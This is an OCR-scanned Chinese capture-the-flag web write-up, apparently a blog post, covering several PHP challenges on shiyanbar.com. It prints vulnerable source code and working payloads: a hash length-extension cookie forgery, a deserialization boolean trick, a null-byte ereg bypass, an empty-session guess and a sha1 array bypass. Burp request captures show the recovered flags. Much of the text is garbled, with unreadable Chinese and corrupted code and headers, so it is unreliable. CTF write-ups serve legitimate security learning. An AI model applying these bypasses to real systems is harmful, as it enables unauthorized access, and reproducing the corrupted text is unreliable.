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<html>
<body>

<pre>
$flag = "XXXXXXXXXXXXXXXXXXXXX" 5

$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username

$_POST["username"];

$password = $_POST["password"];

if (lempty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);

}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source"”, 9, time() + (60 * 60 * 24 * 7));

}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
¥
}
</pre>

<h1>Admins Only!</h1>
<p>If you have the correct credentials, log in below. If not, please LEAVE.</p>
<form method="POST">
Username: <input type="text" name="username"> <br>
Password: <input type="password" name="password"> <br>
<button type="submit">Submit</button>
</form>

</body>
</html>
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#!/usr/bin/env python
#-*- coding: utf-8 -*-

@Author : darkNete
@Create date : 2018-07-10
@description : WHKERH

@Update date

import hashpumpy

# def hashpump(hexdigest, original_data, data_to_add, key_length) aaa =

Request

Raw | Params | Headers | Hex

hashpumpy .hashpump("571580b26c65f30

Response

Raw | Headers | Hex HTMLTRender]

POST fwab/kzhan.php HFTES1.1

Host: ctibS.shiyanbar.com

Usar—-Ageant: Mozilla/5.0 [Macintoshi Intel Mac OS X 10.13;
rvi6l.0) Gecka/20100101 Firefox/6l1.0

noocept!

text/html,application/xhtml+xml ,application/xml;g=0.9,+/+;g
=0.8

Locept-Language:
zh-CW,zh;g=0.8,2h-TW;g=0.7,2h-BK;g=0.5,en-08;g=0.3,en;g=0.2

Boccept-Encaoding: gzip, deflate

Referer: http://ctfS.shiyanbar.com/web/kzhan.php
Cantent-Type: application/x-www-form-urlencoded
Content-Length: 154

Cooklie: sample-hash=571580b26cthf£306376d4f04e53chbe7;
source=0;getmein=68681a7e58b427674cadhl12ba3ff3531c;

Hm lwt_34d46£7353ab0815ad4chBledblodifbe3=1530840464;
Hm_cv_34d6£7353ab0%15ad4ch82ed4bl6dffhed=1*visitor*154661%2Cn
ickName$3AEGB0%818ET780A%843E5800%8ASE630CE808E55R48RT
DHT: 1

Connection: clase

Upgrade-Insecure-Reguaests: 1

unsername=admninépassword=adminiB0%00%00800800%00800%800800%00
008005008008 00%800%00%00800800%00%00800%00800%800%00%00%0080
0800%cBE00800800800800800800darkndte

BB RA

EEE: 3
http://shiyanbar.convctf/1846

R H iR

TR IR 5528, A REERIFlag?
®R: CTF{}

fipe L R

e

HITP/1.1 200 OK

Date: Tue, 10 Jul 2018 01:49:32 GMT

Sarver: Apache/?.4.18 [(Win32?) OpensSsL/1.0.2Ze PHP/5.3.2%
¥-Powered-By: PHP/5H.3.23

Cantent-Length: 112

Connection: close
Cantent-Type: text/html
<html>

<bady>

Congratulations! You ars a registersd user.
The £lag is CTF{cOOkieS_d4nd_haAshIng_00_w3LL_tOg3ther}

VinlEE#¥Enttp: //ctf5.shiyanbar.com/indirection/index.php/index.php, BtA PAEEIKEF]

flag.

ALH BB R B A~ 7 Hindex.php, ERIRHI T HRANREMEH ./ ./ \TTARBERNEFH,
AT AFEphpJa N/, X B BATH UM A ## S EOR, fHindex.php/s Kindex php & SIS AL, Fr LUK

548 R &Rt 3 —ANindex php, % 2 &4 Ih 56
Flag: CTF{PSEDUO_STATIC_DO_YOU_KNOW}
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<html>
<head>
<title>Forms</title> </head> <body> <pre> $a = $ POST["PIN"]; if ($a == -1982774773616112831283716166172777
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$unserialize _str = $_POST[ 'password'];
$data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unse

XBAEA) B Jextpassword Z B AT T RFFIMN, REiLEHEuserE 227, [FbfpasstiFEF222,
ERBMNAMER L 22 BRREH 4, BETEEEHphpRBHEXERME. HETERF—MER: "HBRK
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Hi&passwordfE N: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

EEEE PR TWERE, BIF3REflag: ctf{dwduwkhduw5465}
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step1.php. FrAIMEE — T step2.phpfI A% .



<br />
<meta http-equiv=refresh content=0.5;URL="./stepl.php">check error!<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="renderer" content="webkit" />
<meta name="admin" content="admin@simplexue.com" />
<meta name="editor" content="Vim" />
<title>logic</title>

</style>
</head>
<body>
<form action="submit.php" method="GET">
<h1>FEIHEGEstep2</h1>
email:<input name="emailAddress" type="text" value="youmom" disable="true"/></br>
token:<input name="token" type="text" /></br>
<input type="submit" value="#Z&">
</form>
</body>
</html>

R B T step2.php2 ¥ N & 3232 Blsubmit.php. 5 I submit.php3cfE. 4 HRR

fEstep2.phpHI AL HRILFEEFR B, MWE AT Msubmnit.phpERAT L, XEBENT, TEM
submit.phpfI &7 XM . submit .php.swp, EAXHRMEHAvVImgmERN <8 TR—NCH, inESE
submit.phpJEig .

if(!'empty($token)&amp;&amp; !empty($emailAddress)){
if(strlen($token)!=10) die('fail'); if($token!="0"') die('fail'); $sql = "SELECT count(*) as num from °

XEBIRGMA H T W& 2lflag, B WA
1. token, KENIH%ETF10,
2. tokenBEMOME, XEXHR T phpiakAltbE, REM0000000000H AT PALEIT X 2 FR#

8 3|payload : http://ctf5.shiyanbar.com/10/upload/submit.php?
emailAddress=admin@simplexue.com&amp; token=0000000000 o

&« & | @ ctf5.shiyanbar.com/10/upload/submit.php?emailAddre BE | e
flag is SimCTF{huachuan_TdsWX}
flag is SICTF{huachuan_TdsWX}
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Wih? X&php®it. EEEMT.
hint: ereg()RECH RN M/NEIHH U ERR KRR E .
#R: CTF{
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miiE U HvView the source code, &BHIVEE.

<?php
if (isset ($_GET['password'])) {

if (ereg ("~[a-zA-Z0-9]+$%$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric<

KRR E — 3B =A KRS, Blnfsd.
1. ereg ("a-zA-Z0-9]+", _GET['password') === FALSE

==K WIEST

==l 1= LBE KRR, SRR SRR, BRI, RS EEME B R .

i

=== fil 1= RAFEHFRE T 4 R LEIE.

ereq()ER P R M BRI R — /5o o IR /5 68 RIS AL AL 2 Bltrue, 750 JU i Elfalse

RASFIBTR ) T A R BN A B FRAMECY, (R ZREFE 0BMTIS .

2. strlen($_GET[password']) 9999999, [R#|FFFaEKE /T8, EHKTF9999999,
3. strpos ($_GET['password"], *-*') 1== FALSE, FR#I#NKELFE G-+,

Fir A4S Hipaylload, 1e8%00*-*, 1e9%00%—*,
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]

GET /web/more.phpPpassword=1leB%00+—+ HTTP/1.1 i HITE/1l.1 200 CK
Host: ctfb.shiyanbar.com r Date: Tue, 10 Jul 2018 03:20:137 GMT
User-Agent: Mozilla/5.0 [Macintosh; Intel Mac OS X 10.13; Server: Apache/?.4.18 [(Win32?) OpenSSL/1.0.2e PHP/5.3.29
rvi6l.0) Gecko/20100101 Firefox/61.0 X-Powered-By: PHE/H.3.28
Aoceptt Cantent-Length: 102
text/html ,application/xhtml+xml,,application/xml;q=0.9,+%/+;g Connection: close
=0.8 Cantent-Type: text/html
Accept-Language:
zh-CH,zh;g=0.8,2h-TW;g=0.7,2h-HK;g=0.5,en-0U8;g=0.3,en;g=0.2 <html=

<head>
Accept-Encaoding: gzip, deflate <title*Once More</titlex
Referer: </head>
http:/fctfh.shiyanbar.con/web/more. phpfpassword=1a9%2500%-= <body»<br />

“center>
Cookles cample-hash=571580Lp26c6Rf306376d4f64akh3chbhe7s Flag: c¢TF{Ch3ck_anD_tCh3ck}
source=0;
Hm lwt 34d6f7353ab09%15a4chBZedbhlsdffbe3=1530840464;

Flag: CTF{Ch3ck_anD_Ch3ck}
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Guess

View the source code

<?php
session_start();
if (isset ($_GET[ 'password'])) {
if ($_GET[ 'password'] ==
$_SESSION[ 'password'])
die ('Flag: '.Sflag);
else
print '<p>Wrong guess.</p>';

}

mt_srand( (microtime() ™ rand(l, 10000)) %
rand(1l, 10000) + rand(1l, 10000));
>
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BAEEREHERELRT, 23333
hint: REERE NEE I &H?
R CTF{}

7 BB %
R E W vView the source code, &HHIVE.

<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION[ 'password']) die ('Flag: '.$flag); else print '<p>Wrong guess.</p>';



F— ME&MHES), T Esessiond KipasswordE I FAE—F, BLrl AT ERflag, BT AR & Z M #session
1, S#FEsessionfH A— M AFENIsession, MR IRICA Fsession, Npassword A=, FHFE—ANTH

password it 2 Bl T £ Flflag.
Request
Hex

Raw | Params | Headers

Response

Raw | Headers | Hex HTMLTkender]

GET /web/Session.php?password= HITP/1.1

Host: ctfS.shiyanbar.com

User-Agent: Mozilla/5.0 [Macintosh; Intel Mac OS5 X 10.13;
rvi6l.0) Gecko/20100101 Firefox/61.0

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,%/+;gq
=0.8

Accept-Language:

zh-CH, zh;g=0.8,zh-TW;g=0.7,2h-HK;g=0.5,en-08;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate
Referer:

T

HTTE/1.1 200 OK

Date: Tue, 10 Jul 2018 03:30:44 GMT

Server: Apache/2.4.16 (Win32) OpenSSL/1.0.Ze PHP/5.3.29
X-Powered-By: PHP/5.3.29

Expires: Thu, 1% wWov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-rewvalidate,
post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 112

Connectian: close

Content-Type: text/html

http://ctfb.ehiyanbar.com/web/Session. phpfpassward= <html>

Cookie: sample-hash=571580b26chbE306376d4fR4e53chbe?; <head>

source=0; <title>@uass Hext Session</titlex
Hm_lwt_ 34d6f/353ab091badch8iedbhlodffbe3=1530840464; </head>
Hm_cv_34d6£7353ab0015a4c582e4516dffhe3=l*vieitor*154661%2Cn <body»<br/=

1cktame} i = i = EASICEBOSERSALEAT; <centers>
PHESESSIf=cbdcnonbigquilrjZujdtksrih N Flag: CTF{Cl3ar_th3_sS3sslon

DHT: 1 q R BEAREFEENE ¢ { - T !

Caonnectian: clase

Upgrade-Insecurae-Requests: 1

Flag: CTF{CI3ar_th3_S3ss1on}

FALSE
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Login first!
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PHPARHS & it

View the source code

I 9 @ % »

<?php
if (isset($_GET['name']) and isset($_GET[ 'password'])) {
if ($_GET[ 'name'] == 5_GET[ 'password'])

echo '<p>Your password can not be your namel</p>';
else if (shal($_GET[ 'name']) shal($_GET[ 'password']))
die('Flag: '.Sflag);
else
echo '<p>Invalid password.</p>';

else{
echo '<p>Login firstl</p>';

>

hint: shal HERENE TG ? Wit A Andsiifo(” o “)o #=R: CTF{}

fife L R

B E W EView the source code, &ZIVEG.




<?php

if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Y

BB % T WA
1. P A EEA RS
2. AP &% Kshal()E===

===HEHEMARET A2 WRHE. shal(\BEIAKEASHRBRFRHR, WL MAR, fFH

R [EE Hfalse. WHHKA.

Fr A% Hipayload’ N, name[]=a&amp;password[]=b.

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLTRender]

GET /web/false.phpfname[ ]=atpasswaord[ ]=b| HITP/1.1

Host: ctib.shiyanbar.com

User-Agent: Mozilla/5.0 [Macintosh; Intel Mac 0S5 X 10.13;
rvi161.0)] Gecko/20100101 Firefox/6l.0

Accept:

text/html,application/xhtml+¥ml ;application/xml;g=0.9,*/%;g
=0.8

Accept-Langnage:
zh-CH,zh;g=0.8,2h-1W;g=0.7,2h-HK;g=0.5,an-08;g=0.3,en;g=0.2

Accept-Encoding: gzip, deflate

Cookie: sample-hash=571580b26c6Rf308370d4fRdah3cbboT;
source=0;

Hm_ lvt_34d6£7353ab0915ad4cb82e4516dffbec3=1530840464;

Hm cv_34d6f7353ab0%1badch82edbladffhod=l*vicitor*15466182Cn
ickWamet 3JAtEQERP0SE1SEFEYAEE4EELEY 0 BAEENSICEBORELREALEAT;
PHPSESSID=abidcnanb3guildrj2ujitk8r73s

DHT: 1

Cannection: close

Upgrade-Insecure-Reguests: 1

Flag: CTF{t3st_th3_Sha1}

e

BTTE/1.1 200 OK

Date: Tue, 10 Jul 2018 03:44:33 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/l1.0.2Ze PHP/5.3.20
¥-Powered-By: PHE/5.3.29

Content-Length: 104

Connectian: claose

Content-Type: text/html

<html>
<head>
<title>PHP Code Audit</title>
<fhead»
<boady»<br/=
<center>
Flag: CTF{t3st_th3_sShal}

8, T:https://www.cnblogs.com/beijibing/p/10393314.html




	1009.CTF 题目之 WEB Writeup 通关大全 – 3
	让我进去
	拐弯抹角
	Forms
	天网管理系统
	忘记密码了
	Once More
	Guess Next Session
	FALSE

